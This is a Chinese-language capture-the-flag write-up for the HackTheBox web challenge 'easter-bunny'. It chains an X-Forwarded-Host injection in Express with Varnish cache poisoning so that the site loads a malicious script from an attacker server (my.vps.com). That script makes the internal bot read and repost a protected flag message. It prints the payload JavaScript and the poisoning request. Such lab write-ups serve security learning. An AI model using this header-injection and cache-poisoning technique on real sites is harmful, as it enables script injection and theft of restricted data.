目標說明
hackthebox上的web靶機,名稱為easter-bunny
,情境是留言版
安全風險
此目標發現2個安全風險
- 可利用X-Forwarded-host讀取攻擊者的js
- VCL緩存中毒
保護機制
限制127.0.0.1才能讀取
安全優化建議
- 檢查X-Forwarded-host可否改變網站行為
- 檢查目標是否有緩存機制
攻擊手法
分析網站代碼內容發現flag在message/3內,並且只有127.0.0.1能讀取,所以要想辦法取得messsage/3的內容
可任意操作cdn位置
訪問網站時可以發現會去讀取viewletter.js,而且該目標有express的弱點,因此可以透過X-Forwarded-host改變代碼中req.hostname內的值
router.get("/letters", (req, res) => {
return res.render("viewletters.html", {
cdn: `${req.protocol}://${req.hostname}:${req.headers["x-forwarded-port"] ?? 80}/static/`,
});
});
所以在請求時增加X-Forwarded-Host : my.vps.com
,會發現讀取viewletter.js的來源變成my.vps.com,如下,這表示網站可以執行任何來源的JS
<!-- <script src="viewletter.js"></script> -->
<script src="http://my.vps.com/viewletter.js"></script>
準備惡意JS
準備一個JS去讀取messsage/3的flag內容,並將結果submit到留言版中。由於只有127.0.0.1能讀取,因此讀取網址要指定http://127.0.0.1:80/message/3。另外,在配置中看到 CORS(app) 表示可以跨域,因此可以在惡意js中使用fetch語法
在攻擊者服務器my.vps.com上增加viewletter.js 如下
fetch("http://127.0.0.1:80/message/3").then((r) => {
return r.text();
}).then((x) => {
fetch("http://127.0.0.1:80/submit", {
"headers": {
"content-type": "application/json"
},
"body": x,
"method": "POST",
"mode": "cors",
"credentials": "omit"
});
});
建立惡意緩存
分析目標發現使用vcl,因此可利用varnish的弱點建立惡意緩存,之後只要存取該位置就會使用惡意緩存內的攻擊指令。
分析留言數與id的關係可以發現id代表目前留言數量,因此新的留言id就是id+1,由於代碼在提交時會去讀取id+1的信息,所以我們可以要在未來代碼會讀取的網址做惡意緩存。
假如目前留言數是10,則根據以下規則發送請求以建立惡意緩存
- 建立 127.0.0.1/letters?id=11的惡意緩存,
- 由於限制127.0.0.1才能讀取,因此請求header要設定host:127.0.0.1
- 增加X-Forwarded-Host: my.vps.com,讓目標去讀取my.vps.com/viewletter.js的惡意指令
GET letters?id=11 HTTP/1.1
host:127.0.0.1
X-Forwarded-Host": my.vps.com
現在127.0.0.1/letters?id=11己緩存了my.vps.com/viewletter.js 的攻擊指令,只要存取該位置就會常試讀取message/3的flag。但如果是從外網存取沒用,必須從內網存取才行,也就是讓目標自己去執行。
觸發惡意緩存
分析以下代碼可以發現請求submit後,會去讀取127.0.0.1/letters,這符合讓目標自己去執行的條件,從內網存取
router.post("/submit", async (req, res) => {
const { message } = req.body;
if (message) {
return db.insertMessage(message)
.then(async inserted => {
try {
botVisiting = true;
await visit(`http://127.0.0.1/letters?id=${inserted.lastID}`, authSecret);
因此隨便提交一個submit,原本留言總數10就會變11,導致代碼內的運作會自己讀取http://127.0.0.1/letters?id=11。
原本讀取127.0.0.1/letters?id=11不會有任何問題,但該網址剛剛己經緩存中毒了,因此他會執行惡意viewletter.js,讀取message/3的flag內容並提交到下一則留言中,因此只要看最新的留言就能看到flag
補充說明
Varnish
web緩存系統服務器,使用VCL來設定緩存規則
以下是默認的VCL
sub vcl_hash {
hash_data(req.url);
if (req.http.host) {
hash_data(req.http.host);
} else {
hash_data(server.ip);
}
return (lookup);
}
默認的hash是url+host或url+ip,換句話說,同一個HOST訪問同一個URL會有緩存
以上默認配置有一些安全風險
express
一種node.js的web應用程序框架
在express的官方文檔中提到,如果trust proxy不等false的話,req.hostname可以通過x-forwarded-host取得,這表示可以偽造req.hostname去執行特定hostname的惡意js